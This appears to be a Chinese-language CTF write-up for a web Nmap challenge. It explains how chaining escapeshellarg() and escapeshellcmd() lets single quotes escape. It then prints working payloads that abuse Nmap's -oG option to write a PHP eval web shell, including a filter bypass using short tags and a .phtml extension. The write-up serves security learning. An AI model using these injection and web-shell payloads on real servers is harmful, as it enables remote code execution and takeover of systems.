打开环境,是nmap的网页版:
看一下源码:
直接访问不行,说明要通过其他方式读取,看到Nmap就想到和先前的online tools有点相似,先随便输入一个IP: 可以得到回显结果,猜测是命令执行,尝试使用|分隔地址与命令:127.0.0.1 | ls
可以看到|
被\
转义说明和[BUUCTF 2018] Online Tool一样肯定经过了escapeshellarg()
函数和escapeshellcmd()
函数的处理,前面[BUUCTF 2018] Online Tool的wp里已经说了这两个函数的用法,这里再说一遍吧:
escapeshellarg()函数给字符串添加单引号,而shell不会解释单引号中的特殊字符。如果字符串中已经有单引号了,那么该函数会分段处理这个字符串,对字符串中的单引号做转义,并以之分段,也就是这种形式’…’\”…’。也可以说,单引号是就近匹配的。这个函数应该用来过滤单个的shell函数的参数。
escapeshellcmd()函数对字符串中可能会欺骗shell命令执行任意命令的字符进行转义。此函数保证用户输入的数据在传escapeshellcmd()对字符串中可能会欺骗shell命令执行任意命令的字符进行转义。此函数保证用户输入的数据在传送到exec()或system()函数,或者执行操作符之前进行转义。
这样光说可能不太懂,举个例子:
假如我们传入参数:
127.0.0.1' -v -d a=1
经过escapeshellarg()
函数处理后变为:
'127.0.0.1'\'' -v -d a=1'
也就是将其中的'
单引号转义,再将左右两部分用单引号括起来从而起到连接的作用,这样左右就形成闭合,命令就被当作简单的字符串。
接着经过escapeshellcmd()函数
处理后变成:
'172.17.0.2'\\'' -v -d a=1\'
也就是说对\
以及最后那个不配对儿的引号进行了转义
最后如果执行的命令是curl '172.17.0.2'\\'' -v -d a=1\'
,由于中间的\\
被解释为\
而不再是转义字符,所以后面的'
没有被转义,与再后面的'
配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1'
,即向172.17.0.2\
发起请求,POST 数据为a=1'
。
和[BUUCTF 2018] Online Tool一样,我们知道Nmap的一些参数:
-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式
-append-output 补充保存文件
其中参数-oG
可以实现将命令和结果写入文件,其格式为:内容 -oG 文件名称
所以我们可以构造:
127.0.0.1 | <?php @eval($_POST[hack]);?> -oG shell.php
但这样会被escapeshellarg()
与escapeshellcmd()
函数处理为:
'127.0.0.1 | \<\?php @eval\(\)\;\?\> -oG hack.php'
因为两端单引号闭合,所以一句话木马只是被当成了字符串处理,所以需要闭合所有的单引号,将一句话木马变成一条命令,尝试在Payload前后均加上'
单引号:
'<?php @eval($_POST[hack]);?> -oG shell.php'
输入后显示hack...
应该是做了什么限制,尝试发现是过滤了php,利用<?=来代替<?php进行绕过,利用phtml来代替shell.php的文件后缀:
'<?=@eval($_POST[hack]);?> -oG hack.phtml'
注意post括号里不能有引号,否则会干扰。
这里之所以能替换:
<? ?>是短标签 <?php ?>是长标签 在php的配置文件(php.ini)中有一个short_open_tag的值(开启on),开启以后可以使用PHP的短标签:<? ?> 同时,只有开启这个才可以使用 <?= 以代替 <? echo 。
查看写入的文件,即访问hack.phtml
:
用蚁剑链接根目录找到答案。